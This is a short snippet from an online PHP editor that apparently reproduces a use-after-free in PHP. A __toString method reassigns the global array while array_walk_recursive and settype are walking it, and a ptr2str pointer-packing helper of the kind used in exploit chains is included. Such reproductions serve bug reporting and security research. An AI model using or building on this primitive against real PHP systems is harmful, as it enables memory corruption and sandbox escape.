Online PHP editor | refs for WY0pB

<?php function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { function __tostring() { global $arr; $arr = 1; for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } return 'hi'; } } $arr = array('string' => new obj); array_walk_recursive($arr, 'settype');